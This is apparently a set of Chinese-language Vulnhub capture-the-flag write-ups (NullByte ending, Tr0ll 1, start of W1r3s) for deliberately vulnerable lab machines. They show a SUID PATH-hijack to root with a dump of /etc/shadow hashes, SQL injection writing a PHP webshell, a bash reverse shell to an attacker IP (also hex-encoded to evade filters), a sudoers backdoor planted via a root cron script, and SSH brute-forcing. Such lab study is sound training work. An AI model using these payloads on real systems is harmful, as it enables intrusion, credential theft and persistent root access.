我又去检查了当前用户的 bash_history。历史记录显示该程序曾被运行过，这进一步印证了我之前的猜测。结合其特殊的权限设置，我决定重点分析这个文件。

ramses@NullByte:~$ history
    1  sudo -s
    2  su eric
    3  exit
    4  ls
    5  clear
    6  cd /var/www
    7  cd backup/
    8  ls
    9  ./procwatch 
   10  clear
   11  sudo -s
   12  cd /
   13  ls
   14  exit

确认目标

cd 到可疑目录，查看这个目录下详细的文件权限内容

ramses@NullByte:/var/www/backup$ ls -liah
total 20K
401863 drwxrwxrwx 2 root root 4.0K Aug  2  2015 .
389537 drwxr-xr-x 4 root root 4.0K Aug  2  2015 ..
391947 -rwsr-xr-x 1 root root 4.9K Aug  2  2015 procwatch
401064 -rw-r--r-- 1 root root   28 Aug  2  2015 readme.txt

从标红点看出，这是一个带有 SUID 权限的文件

我们可以在靶机环境中试着运行该程序，观察其行为。从输出结果来看，该程序似乎调用了系统命令来显示当前的进程状态。

ramses@NullByte:/var/www/backup$ ./procwatch 
  PID TTY          TIME CMD
 1475 pts/0    00:00:00 procwatch
 1476 pts/0    00:00:00 sh
 1477 pts/0    00:00:00 ps

SUID 提权与 PATH 环境变量劫持

ramses@NullByte:/var/www/backup$ ls -liah
total 20K
401863 drwxrwxrwx 2 root root 4.0K Aug  2  2015 .
389537 drwxr-xr-x 4 root root 4.0K Aug  2  2015 ..
391947 -rwsr-xr-x 1 root root 4.9K Aug  2  2015 procwatch
401064 -rw-r--r-- 1 root root   28 Aug  2  2015 readme.txt
ramses@NullByte:/var/www/backup$ 
ramses@NullByte:/var/www/backup$ ./procwatch 
  PID TTY          TIME CMD
 1475 pts/0    00:00:00 procwatch
 1476 pts/0    00:00:00 sh
 1477 pts/0    00:00:00 ps
ramses@NullByte:/var/www/backup$ 
ramses@NullByte:/var/www/backup$ ln -s /bin/sh ps
ramses@NullByte:/var/www/backup$ export PATH=.:$PATH
ramses@NullByte:/var/www/backup$ ./procwatch 
# whoami
root

# cat /etc/shadow
root:$6$xsD9GAM/$gpEYps/zVZ/x8INtRjYcSifltjba0JMIUogrZSed5WfRqTGjlFPT/FCC4IwPhZC7mrshv3x.CpsjnFsQupFR9/:16648:0:99999:7:::
daemon:*:16648:0:99999:7:::
bin:*:16648:0:99999:7:::
sys:*:16648:0:99999:7:::
sync:*:16648:0:99999:7:::
games:*:16648:0:99999:7:::
man:*:16648:0:99999:7:::
lp:*:16648:0:99999:7:::
mail:*:16648:0:99999:7:::
news:*:16648:0:99999:7:::
uucp:*:16648:0:99999:7:::
proxy:*:16648:0:99999:7:::
www-data:*:16648:0:99999:7:::
backup:*:16648:0:99999:7:::
list:*:16648:0:99999:7:::
irc:*:16648:0:99999:7:::
gnats:*:16648:0:99999:7:::
nobody:*:16648:0:99999:7:::
systemd-timesync:*:16648:0:99999:7:::
systemd-network:*:16648:0:99999:7:::
systemd-resolve:*:16648:0:99999:7:::
systemd-bus-proxy:*:16648:0:99999:7:::
messagebus:*:16648:0:99999:7:::
avahi:*:16648:0:99999:7:::
Debian-exim:!:16648:0:99999:7:::
statd:*:16648:0:99999:7:::
colord:*:16648:0:99999:7:::
sshd:*:16648:0:99999:7:::
saned:*:16648:0:99999:7:::
hplip:*:16648:0:99999:7:::
bob:$6$.Lz6G6L1$pKrDBW591X.z5.O/yxIA95KjyFPuHf7Rsn4qN1Sl7NlTnUSmOXs8mjMhEUWOppctEI2SZgBb8bgODXaCcdPzn/:16648:0:99999:7:::
eric:$6$0bV4YP05$O8Opq9l/TiA0jjOGi6ntepF.6FrX3F4EjbIk0bB/6/m1iC6QBmlBOVbh6IGBySSqyEDTH4H6qgMmJkZKxI4Xu/:16648:0:99999:7:::

深度了解 SUID 提权原理

1. 发现漏洞点：相对路径调用

ramses@NullByte:/var/www/backup$ ./procwatch

当你运行 procwatch 时，它输出了类似系统命令 ps 的结果。这暗示了 procwatch 这个程序在内部很可能调用了 ps 命令来获取系统进程信息。 问题所在： 开发这个程序的程序员在调用 ps 时，很可能只写了 system("ps");（相对路径），而不是写死绝对路径 system("/bin/ps");。这就给了我们可乘之机。

2. 伪造恶意程序：符号链接

ramses@NullByte:/var/www/backup$ ln -s /bin/sh ps

这一步，你在当前目录下创建了一个名为 ps 的符号链接（类似于 Windows 的快捷方式），它指向了系统的 shell 程序 /bin/sh。此时，当前目录下的这个 ps 文件，本质上就是一个可以唤醒系统命令行的外壳。

3. 核心攻击：劫持 PATH 环境变量

ramses@NullByte:/var/www/backup$ export PATH=.:$PATH

这是整个提权行动最关键的一步。 Linux 系统在执行一个没有指定绝对路径的命令（比如 ps）时，会根据 PATH 环境变量中定义的目录顺序，从左到右依次去寻找这个命令。你通过 export PATH=.:$PATH，将当前目录（.）添加到了 PATH 环境变量的最前面。这意味着，当系统想要执行 ps 时，它会首先在当前目录下寻找，而不是先去系统的 /bin/ 或 /usr/bin/ 目录寻找。

这里新开了一个 SSH 连接对比修改环境变量的前后差别。

原本的环境变量：

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

修改后的环境变量：

.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

4. 触发提权：借壳生蛋

ramses@NullByte:/var/www/backup$ ./procwatch

当你再次运行具有 SUID 权限的 procwatch 时，会发生以下连锁反应：

procwatch 程序运行时，会临时借用系统最高权限 (通常为 root)。
程序内部执行 ps 命令。
系统检查 PATH，发现最前面是当前目录（.），并且当前目录下确实有一个名为 ps 的文件（我们手动构造软链接）。
系统执行你伪造的 ps （实际上是 /bin/sh）。
因为 procwatch 是带着 root 的 SUID 权限运行的，所以它唤醒的 /bin/sh 也会继承 root 权限。

至此，你就成功获得了一个具有 root 权限的 shell（通常显示为 # 提示符，可以通过 whoami 显示自身用户名称）。

ps 命令是干什么的？

Linux ps （英文全拼：process status）命令用于显示当前进程的状态，类似于 windows 的任务管理器。

4.其他注入方式

注入文件上传

在确认具备写入权限后，我尝试通过 SQL 注入直接向之前探测到的 /uploads/ 目录写入一个简单的 PHP 一句话木马。

?usrtosearch=" union select 1,2,"<?php system($_GET['cmd']); ?>" into outfile "/var/www/html/uploads/shell.php" -- -

访问 /uploads/shell.php 进行测试，确认木马已成功写入并可以正常执行指令。

为了获取数据库的明文凭据，我利用刚才得到的 WebShell 权限，尝试读取 Web 目录下的关键文件 /var/www/html/kzMb5nVYJw/420search.php。通过审计源码，成功在数据库连接配置处发现硬编码的 root 账号密码。

<?php
$word = $_GET["usrtosearch"];

$dbhost = 'localhost:3036';
$dbuser = 'root';
$dbpass = 'sunnyvale';
$conn = mysql_connect($dbhost, $dbuser, $dbpass);
if(! $conn )
{
  die('Could not connect: ' . mysql_error());
}
$sql = 'SELECT id, user, position FROM users WHERE user LIKE "%'.$word.'%" ';

mysql_select_db('seth');
$retval = mysql_query( $sql, $conn );
if(! $retval )
{
  die('Could not get data: ' . mysql_error());
}
while($row = mysql_fetch_array($retval, MYSQL_ASSOC))
{
    echo "EMP ID :{$row['id']}  <br> ".
         "EMP NAME : {$row['user']} <br> ".
         "EMP POSITION : {$row['position']} <br> ".
         "--------------------------------<br>";
} 
echo "Fetched data successfully\n";
mysql_close($conn);

?>

回顾之前的 Web 信息收集阶段，曾通过目录爆破发现了一个 /phpmyadmin 登录界面。现在既然已经通过配置文件拿到了数据库账号（root）和密码（sunnyvale），便可以尝试直接登录。

至此，通过对源码的审计，成功获取了关键凭据。

成功读取数据库下的所有内容，可以跳转到提权部分进行后续操作。

注入大马（常用方法）

我们想靶机上传一个木马，通过 PHP 反弹 Shell (Reverse Shell) 载荷，让靶机主动发起连接，连接到你控制的机器（攻击机）上，并将靶机的命令行终端（Shell）交给你控制。

Payload:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.200.142/4444 0>&1'"); ?>

参数解释：

/bin/bash -c '...'：调用 Linux 的 Bash 解释器，-c 参数表示执行后面单引号内的字符串命令。
bash -i：在靶机上启动一个交互式的 Bash Shell（Interactive Shell），这样你才能像平常敲代码一样输入命令并看到提示符。
>& /dev/tcp/192.168.200.142/4444：这是 Linux 中非常巧妙的网络重定向。它将 Bash Shell 的标准输出（你在屏幕上看到的结果）和标准错误，全部通过 TCP 协议发送到 IP 地址 192.168.200.142 的 4444 端口。（注意：这个 IP 应该是你本机的 IP，4444 是你正在监听的端口）。
0>&1：将标准输入（键盘输入）重定向到标准输出（此时已经指向了那个网络连接）。这样一来，你在本地终端敲击的命令，就能顺着网络传给靶机执行。

改良 payload 转成 hex 上传

http://192.168.200.160/kzMb5nVYJw/420search.php?usrtosearch=" union select 1,2,0x3c3f706870206578656328222f62696e2f62617368202d63202762617368202d69203e26202f6465762f7463702f3139322e3136382e3230302e3134322f3434343420303e26312722293b203f3e into outfile "/var/www/html/uploads/sh1.php" --+-

反弹 shell

sudo nc -lvnp 4444

Tips:

1. 什么是十六进制 (HEX)？

我们日常用的十进制 (Base-10)： 只有 0 到 9 这十个数字。数到 9 之后，就要“逢十进一”，变成 10。
计算机常用的十六进制 (Base-16)： 它有 16 个基础符号。除了 0 到 9 之外，为了表示 10 到 15，它借用了英文字母：
- A = 10, B = 11, C = 12, D = 13, E = 14, F = 15。
- 数到 F (15) 之后，“逢十六进一”，就变成了 10（在十六进制里读作“一零”，代表十进制的 16）。

在计算机世界里，任何字符（字母、数字、符号）在底层都是以数字形式存储的（比如 ASCII 码）。HEX 就是把这些字符转换成了十六进制的数字串。

举个例子：

大写字母 A 的十六进制是 41
符号 < 的十六进制是 3C
单词 php 的十六进制是 706870

2. 为什么在 SQL 注入中，专家偏爱用 HEX？

回到你刚才打 NullByte 靶机的场景。把你的 PHP 反弹 Shell 代码转换成 HEX 编码，主要有两大“保命”优势：

优势一：完美避开所有的语法冲突和截断

正如我们上次分析的，你的原始载荷里充满了单引号 '、双引号 "、空格和 & 等特殊符号。这些符号在经过浏览器、HTTP 协议、Web 服务器，最后到达 MySQL 数据库的过程中，极其容易被误解、转义或者截断。

但是，如果你把整段代码转换成 HEX，比如把 <?php ... ?> 变成了 0x3c3f7068...：

没有引号了： 它变成了一串纯粹的数字和字母。
没有特殊字符了： 不用再担心 & 破坏 HTTP 请求。
MySQL 原生支持： 在前面加上 0x 前缀，就是明确告诉 MySQL：“嘿，这是一段十六进制数据，请你在处理（比如写入文件）之前，自动把它还原成原本的字符串。”

优势二：绕过基础的 Web 应用防火墙 (WAF) 和过滤

有些后端的防御代码会使用黑名单拦截恶意词汇，比如一旦发现你提交的数据里包含 exec( 或者 /bin/bash，就直接把你封杀。当你使用 HEX 编码后，肉眼和基础的过滤器看到的只是一串毫无意义的 0x70687065786563...，从而能够悄无声息地“偷渡”进数据库内部。数据库将其还原后，致命的 PHP 代码就已经安安静静地躺在目标文件里了。

3.指出需要注意的问题

HEX 不是加密，只是编码： 任何人拿到这串十六进制代码，都可以轻易地将其反向解码出原文。它的目的不是为了保密，而是为了“在复杂的传输环境中保持数据的完整性”以及“规避基于特征的过滤”。
前缀 0x 很关键： 在 MySQL 中，如果你只写 3c3f70，它会报错或者不认识；加上 0x（即 0x3c3f70...），MySQL 才会将其识别为 HEX 数据并进行解码。

4. 致命错误：HTTP 协议层面的特殊字符被截断

这是最容易被忽略，也是导致这段 Payload 绝对无法成功执行的原因。

问题点： 你的 Bash 载荷中包含了 >& 和 0>&1。在 URL 中，& 符号具有极其特殊的含义——它是 HTTP GET 请求参数的分隔符。
发生的情况： 当 Web 服务器接收到这个 URL 时，它会在遇到第一个 & 时截断 usrtosearch 变量。也就是说，服务器认为你的注入语句到 bash -i > 就结束了，然后把 / dev/tcp/... 当作了一个全新的、无法识别的参数。这不仅破坏了你的 PHP 代码，也破坏了整个 SQL 语句的完整性。
解决办法： 你必须对 URL 中的特殊字符进行 URL 编码。& 需要编码为 %26，空格通常编码为 %20 或 +。

5.总结

总结一下，在进行主机发现后，我们进行端口扫描，发现 80、111、777 和一个高位端口是开放的，做完 nmap 扫描后，并没有发现更多有价值的内容，所以我们直扑 80 端口进行渗透测试。

通过浏览器访问 Web 界面，发现页面仅包含一张图片和一段文字。随后通过目录爆破发现了 /uploads、/phpmyadmin 和 /javascript 等目录。在尝试访问并确认无直接进展后，我重新审视主页图片，通过隐写分析发现了一段隐藏信息。经过测试，确认该信息指向一个隐藏的网页路径。

进入该路径后，页面呈现一个要求输入 Key 的表单。查看网页源码后，发现注释提示该密码并不复杂，且明确未连接数据库。这使我排除了 SQL 注入的思路，在简单的弱口令尝试失败后，我决定使用工具进行爆破。成功获取密码并登录后，页面跳转至一个用户名查询表单。

经过简单测试，我怀疑该查询表单存在 SQL 注入漏洞。随后我按照常规流程进行了注入测试，包括闭合符号探测和列数猜解，并最终通过 Union 注入成功获取了数据库中的敏感内容。

在获取的数据中，有一条关于 RAMES 用户的密码记录具有重要价值。该密码以 Base64 编码形式存储，解码后得到一个 MD5 哈希值。经破解获取明文密码后，我成功通过 SSH 登录系统，拿到了初始的立足点（Footprint）。

在提权阶段，我进行了初步的信息枚举。通过搜索当前用户具有执行权限的文件，锁定了名为 procwatch 的可执行程序。运行后发现，该程序调用了 ps 命令。我随即产生通过 PATH 环境变量劫持该进程的思路：自定义一个恶意 ps 连接实际指向的是/bin/bash 并将其路径加入环境变量前列。执行程序后，成功触发劫持并获取了 Root 权限，完成了对该靶机的渗透。

Vulnhub Tr0ll WriteUp

Tue, 05 May 2026 00:00:00 GMT

前言

靶场介绍

Tr0ll 1 是一款灵感来源于 OSCP 实验室的初级难度靶机，主要考察渗透测试者的基础信息收集能力、网络流量分析（PCAP）、字典提取、防干扰心态以及基础的 Linux 提权技巧。该靶机整体充满“恶搞”（Troll）元素，需要细心甄别线索的真伪，非常适合新手熟悉渗透测试的完整流程。

靶场信息

靶机IP：192.168.200.163 （注：实际运行环境中，IP 需根据本地虚拟机的 DHCP 网络环境使用扫描工具确定）靶机介绍：https://www.vulnhub.com/entry/tr0ll-1,100/ 下载（镜像）：https://download.vulnhub.com/tr0ll/Tr0ll.rar

涉及工具

主机发现与端口扫描： Nmap, Netdiscover / arp-scan
Web 目录扫描： Dirsearch，exiftool
文件传输服务： FTP Client（用于测试匿名登录并下载线索文件）
流量包分析： Wireshark（用于分析获取到的 .pcap 数据包）, Leetspeak
文件分析： Strings（用于分析 ELF 二进制可执行文件以提取隐藏目录）
在线服务爆破： Hydra（结合收集到的自定义字典进行 SSH 暴力破解）
远程连接： SSH

1.信息收集

1.1.Nmap信息扫描

通过 Nmap 对目标靶机进行探测，明确开放的端口及具体服务版本，并排查常规漏洞。

端口扫描

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

详细信息扫描

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 192.168.200.142
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 600
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxrwxrwx    1 1000     0            8068 Aug 10  2014 lol.pcap [NSE: writeable]
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d6:18:d9:ef:75:d3:1c:29:be:14:b5:2b:18:54:a9:c0 (DSA)
|   2048 ee:8c:64:87:44:39:53:8c:24:fe:9d:39:a9:ad:ea:db (RSA)
|   256 0e:66:e6:50:cf:56:3b:9c:67:8b:5f:56:ca:ae:6b:f4 (ECDSA)
|_  256 b2:8b:e2:46:5c:ef:fd:dc:72:f7:10:7e:04:5f:25:85 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry 
|_/secret
|_http-server-header: Apache/2.4.7 (Ubuntu)
MAC Address: 00:0C:29:6F:F7:D3 (VMware)

漏洞扫描

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|   /robots.txt: Robots file
|_  /secret/: Potentially interesting folder
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server's resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750

1.2.FTP渗透

根据 Nmap 扫描结果，目标 FTP 服务（21端口）允许匿名登录（Anonymous），并且根目录下存在一个名为 lol.pcap 的文件。

通过 FTP 客户端连接目标，使用 prompt 命令关闭交互提示，并使用 binary 命令将传输格式切换为二进制模式，随后将 lol.pcap 下载至本地进行分析。

流量文件分析

通过互联网方式查询得知 .pcap 为网络数据包截获的文件，在上流量分析课时 Wireshark 抓包保存的就是这样的文件。

我们可以使用 Wireshark 打开该文件进行分析（也可使用 strings 命令初步提取二进制文件中的可打印字符）。

打开该流量文件后，可以发现报文数量并不多。通过追踪 TCP 数据流发现报文内容是，曾有用户通过匿名访问的方式登录了 FTP 服务，并请求下载了一个文件。那么此时的关键点在于：我们需要确认该文件中的具体内容，这应该是一个很重要的突破点。

Client 报文：

USER anonymous
PASS password
SYST
PORT 10,0,0,12,173,198
LIST
TYPE I
PORT 10,0,0,12,202,172
RETR secret_stuff.txt
TYPE A
PORT 10,0,0,12,172,74
LIST
QUIT

后续我在 Wireshark 底部定位到 FTP-DATA 协议报文，该报文记录了 secret_stuff.txt 的实际传输内容。查看其数据，提取到以下关键信息：

RETR secret_stuff.txt
W150 Opening BINARY mode data connection for secret_stuff.txt (147 bytes).
WWell, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P
Sucks, you were so close... gotta TRY HARDER!

线索提取：

文中包含一串可疑字符串：sup3rs3cr3tdirlol。那么该字符串可能为用户密码、SSH 密钥名称或隐藏的 Web 目录名？我们现在暂时不知道，将其记录备用，等 Web 渗透阶段进行交叉验证。

其实这里的字符串利用到了 Leetspeak 的方式，利用字符替换，通过镜像或其他相似方式来玩转字形的相似性

1.3.Web渗透

页面信息检索

访问目标 80 端口，Web 首页仅展示一张相关的图片（hacker.jpg）。

将图片下载至本地，排查是否存在隐写内容。使用 exiftool 检查其元数据，未发现有价值的隐写信息，确认为普通图片。

下载图片

图片内容

┌──(kali㉿kali)-[~/vulnhub/Tr0ll/web]
└─$ exiftool hacker.jpg 
ExifTool Version Number         : 13.25
File Name                       : hacker.jpg
Directory                       : .
File Size                       : 49 kB
File Modification Date/Time     : 2014:08:10 06:03:43-04:00
File Access Date/Time           : 2026:04:18 10:23:11-04:00
File Inode Change Date/Time     : 2026:04:18 10:23:11-04:00
File Permissions                : -rw-rw-r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 1
Y Resolution                    : 1
Image Width                     : 407
Image Height                    : 405
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 407x405
Megapixels                      : 0.165

目录探测

结合 Nmap 前期的 http-enum 扫描结果以及常规的目录枚举，发现目标站点的两个关键路径：

1./robots.txt

文件内容如下，指向了一个名为 /secret 的目录，除此之外无其他有效信息。

User-agent:*
Disallow: /secret

2./secret/ 目录 (http://192.168.200.163/secret/)

访问该目录后，页面仅展示一张带有嘲讽意味的图片，图中写道 “你生气了吗”。未发现可利用的交互接口或敏感文件。后续有对图片隐写信息进行查看，也无有效内容。

目录枚举结果：

2.权限立足

2.1.线索收集和权限定位

首先回顾一下目前已掌握的信息：此前我们在 FTP 服务中获取了一个文件以及一串疑似密文的字符串（具体用途暂时未知）；Web 目录扫描虽然发现了两个目录，但均无实质性的有效利用结果。因此，当前的重心应当重新放回到从 FTP 获取的文件线索上，挖掘其潜在的利用方式。

顺着线索进一步探测，我们成功发现了一个隐藏的 Web 目录，并在该目录下定位到了一个名为 roflmao 的无后缀文件。

为了弄清该文件的具体类型，我们将其下载到本地，并使用 file 和 binwalk 命令进行基础探测：

┌──(kali㉿kali)-[~/vulnhub/Tr0ll/web]
└─$ file roflmao 
roflmao: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5e14420eaa59e599c2f508490483d959f3d2cf4f, not stripped
┌──(kali㉿kali)-[~/vulnhub/Tr0ll/web]
└─$ binwalk roflmao 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)

结果显示，这是一个 32 位的 ELF 格式可执行文件，不存在地址偏移。

2.2.二进制文件逆向分析

针对该 ELF 文件，我们可以直接赋予执行权限运行、使用 strings 命令提取可打印字符，或者借助逆向工具及 AI 辅助进行反汇编分析。

使用 AI 逆向

基本信息

属性	值
格式	ELF 32-bit LSB 可执行文件
架构	Intel 80386 (x86)
大小	7296 字节
编译器	GCC 4.8.2 (Ubuntu)
符号表	未剥离（not stripped）

`main` 函数反汇编

0804841d <main>:
  push   %ebp
  mov    %esp, %ebp
  and    $0xfffffff0, %esp     ; 栈对齐到 16 字节
  sub    $0x10, %esp
  movl   $0x80484d0, (%esp)    ; 压入字符串地址作为参数
  call   printf@plt            ; 调用 printf
  leave
  ret

逻辑还原（伪 C 代码）

int main() {
    printf("Find address 0x0856BF to proceed");
    return 0;
}

程序逻辑极其简单：只打印一条消息就退出。

2.3 深入隐藏目录与字典获取

程序输出的字符串是：

Find address 0x0856BF to proceed

这是一道典型的 CTF "寻找地址" 挑战。由于地址 0x0856BF 并不在这个二进制文件本身的内存地址范围内（二进制加载基址约为 0x08048000，文件大小只有 7KB），结合当前的 Web 靶机环境，我猜测这个“地址”很可能是 Web 服务上的另一个隐藏目录。

经过浏览器访问尝试，证实了这个猜想。在 http://<Target-IP>/0x0856BF 目录下，确实存在两个新的文件夹：

good_luck
this_folder_contains_the_password

进一步查看这两个文件夹的内容，我们分别获得了一份潜在的用户名字典（which_one_lol.txt）和一份密码字典（Pass.txt）。

查看文件，内容如下：

2.4.密码爆破

既然提示了这是密码和用户列表，接下来的思路自然是利用这些字典对目标主机的 SSH 服务进行自动化爆破。这里可以使用 CrackMapExec 或 Hydra 等工具。

CrackMapExec 工具爆破方法：

使用 Hydra 的枚举爆破命令及结果如下：

hydra -L which_one_lol.txt -p Pass.txt ssh://192.168.200.163 -t 16 -f -u

SSH密码

账号: overflow
密码: Pass.txt (注意：这里的密码恰好就是获取到的文本文件名称本身)

尝试登入，成功登入。

3.提权

3.1 基础信息与环境探测

获得初始 shell 后，首先进行常规的系统信息收集，明确当前的用户权限和系统版本。

$ whoami
overflow

$ uname -a
Linux troll 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:12 UTC 2014 i686 athlon i686 GNU/Linux

$ sudo -l
[sudo] password for overflow: 
Sorry, user overflow may not run sudo on troll.

$ cat /etc/crontab      
cat: /etc/crontab: Permission denied

尝试查看计划任务配置文件 /etc/crontab 被拒，检查 SUID 文件也未发现明显的可利用项。

3.2 异常现象分析

在常规探测（如查看 /etc/passwd、浏览 /var/www/html/ 目录）的过程中，发现了一个非常有趣的现象：SSH 会话会定时自动强制断开，并伴随如下提示：

Broadcast Message from root@trol                                           
        (somewhere) at 12:00 ...
                                               
TIMES UP LOL!   
                                                 
Connection to 192.168.200.163 closed by remote host.
Connection to 192.168.200.163 closed.

分析： 正常情况下 SSH 不会自动踢人。这说明系统后台极有可能运行着某个计划任务 (Cron Job)。如果这个任务是由 root 权限执行的，只要我们能找到并篡改该任务触发的脚本，就能借此获取 root 权限。

3.3.定位并分析计划任务

由于在之前测试没有权限直接读取 /etc/crontab，我们转换思路，全局搜索与 cron 相关的日志文件：

$ find / -name cronlog 2>/dev/null | grep -v '/proc'
/var/log/cronlog

$ cat /var/log/cronlog 
*/2 * * * * cleaner.py

[!tip] 笔记拓展：Cron 表达式解析

这里查到的时间字段是 */2 * * * *。 _需要注意：*/2 代表的是每隔 2 分钟执行一次，而 2 * * * * 代表的是每小时的第 2 分钟执行。

2 (分钟)：指在每小时的第 2 分钟。

* (小时)：通配符，表示每一个小时。

* (日期)：通配符，表示每一天。

* (月份)：通配符，表示每一个月。

* (星期)：通配符，表示每一周的每一天。

3.4 实施提权

现在的思路非常明确，往 cleaner.py 中插入提权代码。使我们的目标是赋予 overflow 用户无密码使用 sudo 的权限。

注意： 因为这是一个 Python 脚本，我们不能直接写入 Bash 语法。需要利用 Python 的 os.system() 模块来执行 Bash 命令。

执行以下命令，将篡改 Sudoers 文件的指令追加到脚本末尾：

echo 'os.system("echo \"overflow ALL=(ALL)NOPASSWD: ALL\" >> /etc/sudoers")' >> /lib/log/cleaner.py

Bash命令解析：

目标：向 /etc/sudoers 文件（控制系统 sudo 权限的核心文件）追加一行内容。
效果：赋予一个名为 overflow 的用户无需密码即可执行任何 root 命令的权限。

[!tip] 笔记拓展：/etc/sudoers 的作用与语法解析

/etc/sudoers
文件的核心作用是 Linux 和 Unix 系统中用于配置 sudo 命令权限的核心配置文件。它决定了哪些普通用户（或用户组）可以在系统中以其他用户（通常是 root 超级管理员）的身份执行命令。系统管理员可以通过该文件精确控制某个人只能在特定的主机上、无密码或有密码地执行某几个特定的命令，从而遵循“最小权限原则”。

往里撰写内容的格式和含义

overflow ALL=(ALL)NOPASSWD: ALL

`[用户名] [主机名]=([可切换到的目标用户]:[可切换到的目标用户组]) [是否需要密码] [可执行的命令]`

确认是否成功写入后

耐心等待最多 2 分钟让计划任务触发。任务执行后，直接使用 sudo 切换到 root 即可：

$ sudo /bin/bash
root@troll:/# whoami
root

至此，提权成功完成。

Vulnhub W1r3s1.0.1 WriteUp

Tue, 05 May 2026 00:00:00 GMT

前言

靶场介绍

涉及知识点：
- 主机信息收集
- Nmap 基础使用
- FTP 默认用户登入与应用细节
- 目录爆破
- 公开 EXP 利用
- SSH 爆破

靶机下载地址：https://www.vulnhub.com/entry/w1r3s-101,220/

涉及工具

nmap
dirsearch
searchsploit
hydra

攻击思路与具体实现

1. 信息收集

1.1. 使用 Nmap 进行扫描与分析

此阶段的主要目标是执行 Nmap 的四大核心扫描并完成攻击面分析：首先通过端口扫描发现开放端口以缩小后续探测范围；其次进行最关键的详细信息扫描（如服务与系统版本）；第三步是补充UDP 扫描；最后执行漏洞脚本扫描。此外，必要时需兼顾 IPv6 网络的排查。在收集完所有数据后，进行最重要的一步——综合攻击面分析。

开放端口探测

nmap -sT --min-rate 10000 -p- 192.168.200.157 -oA nmapscan/ports

提取扫描数据中的端口信息

grep open ports.nmap | awk -F'/' '{print $1}' | paste -sd ','

详细端口信息探测

nmap -sT -sV -sC -O -p21,22,80,3306 192.168.200.157 -oA detail

UDP 扫描

nmap -sU --top-ports 20 192.168.200.157 -oA nmapscan/udp

基础漏洞扫描

nmap --script=vuln -p21,22,80,3306 192.168.200.157 -oA nmapscan/vuln

2. 渗透阶段

2.1. FTP 渗透

在 nmap 扫描中发现 21 端口的 FTP 服务存在允许匿名 (anonymous) 访问的文件泄露漏洞，我们可以在泄露的文件中寻找是否有对于我们渗透测试工作有利的信息。

2.1.1. FTP 命令

$ ftp 192.168.200.146

# 使用 FTP 的匿名用户登入（anonymous）
Name (192.168.200.146:kali): anonymous

# 切换成二进制模式（细节点，防止文件无法下载或者下载下的文件错误）
ftp> binary
200 Switching to Binary mode.

# 交互模式关闭
ftp> prompt 	
Interactive mode off.

# 下载文件
ftp> mget *.txt

2.1.2. 分析得到的数据

New FTP Server For W1R3S.inc
#
#
#
#
#
#
#
#
01ec2d8fc11c493b25029fb1f47f39ce
#
#
#
#
#
#
#
#
#
#
#
#
#
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
############################################
___________.__              __      __  ______________________   _________    .__               
\__    ___/|  |__   ____   /  \    /  \/_   \______   \_____  \ /   _____/    |__| ____   ____  
  |    |   |  |  \_/ __ \  \   \/\/   / |   ||       _/ _(__  < \_____  \     |  |/    \_/ ___\ 
  |    |   |   Y  \  ___/   \        /  |   ||    |   \/       \/        \    |  |   |  \  \___ 
  |____|   |___|  /\___  >   \__/\  /   |___||____|_  /______  /_______  / /\ |__|___|  /\___  >
                \/     \/         \/                \/       \/        \/  \/         \/     \/ 
The W1R3S.inc employee list

Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources

        ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡

....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ

a. 两段加密的密文

01ec2d8fc11c493b25029fb1f47f39ce (MD5)
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg== (base64)

使用在线 MD5 破解平台和 Base64 工具解出：

This is not a password
It is easy, but not that easy..

b. 公司的员工列表

我们继续往下看，发现了一段他们公司的员工列表，可以记录下来，留做后用

The W1R3S.inc employee list

Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
